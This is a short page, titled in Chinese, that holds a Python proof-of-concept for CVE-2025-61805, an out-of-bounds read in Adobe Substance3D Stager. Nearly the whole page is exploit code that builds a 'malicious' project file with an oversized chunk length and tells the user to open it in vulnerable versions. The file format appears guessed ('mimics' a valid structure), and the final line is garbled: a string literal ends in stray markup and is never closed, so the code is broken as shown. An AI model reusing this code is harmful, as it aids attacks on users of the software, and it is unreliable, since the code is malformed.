CVE-2025-61805 Adobe Substance3D Stager越界读取漏洞

# CVE-2025-61805 - Adobe Substance3D Stager Out-of-Bounds Read PoC # This PoC demonstrates the vulnerability concept by creating a malformed file # that triggers out-of-bounds read when parsed by Substance3D - Stager <= 3.1.4 import struct import sys def create_malicious_file(filename): """ Create a crafted file that triggers OOB read in Substance3D Stager. The file mimics a valid project file structure but contains malformed data fields that cause out-of-bounds memory access. """ # File header - mimicking valid Substance3D Stager file format header = b'STGR' # Magic bytes for Stager format version = struct.pack('<I', 0x03010400) # Version 3.1.4 # Crafted chunk with oversized length field to trigger OOB read chunk_type = b'MESH' # Declared size is much larger than actual data, causing parser # to read past allocated buffer declared_size = struct.pack('<Q', 0xFFFFFFFF) # 4GB declared size actual_data = b'\x00' * 256 # Only 256 bytes of actual data # Build the malicious file payload = header + version + chunk_type + declared_size + actual_data with open(filename, 'wb') as f: f.write(payload) print(f"[+] Malicious file created: {filename}") print(f"[+] File size: {len(payload)} bytes") print(f"[+] Declared chunk size: 0x{0xFFFFFFFF:08X} bytes") print(f"[+] Actual data size: {len(actual_data)} bytes") print(f"[!] Open this file with Substance3D Stager <= 3.1.4 to trigger OOB read") if __name__ == '__main__': output_file = sys.argv[1] if len(sys.argv) > 1 else 'malicious.sbs"/> create_malicious_file(output_file)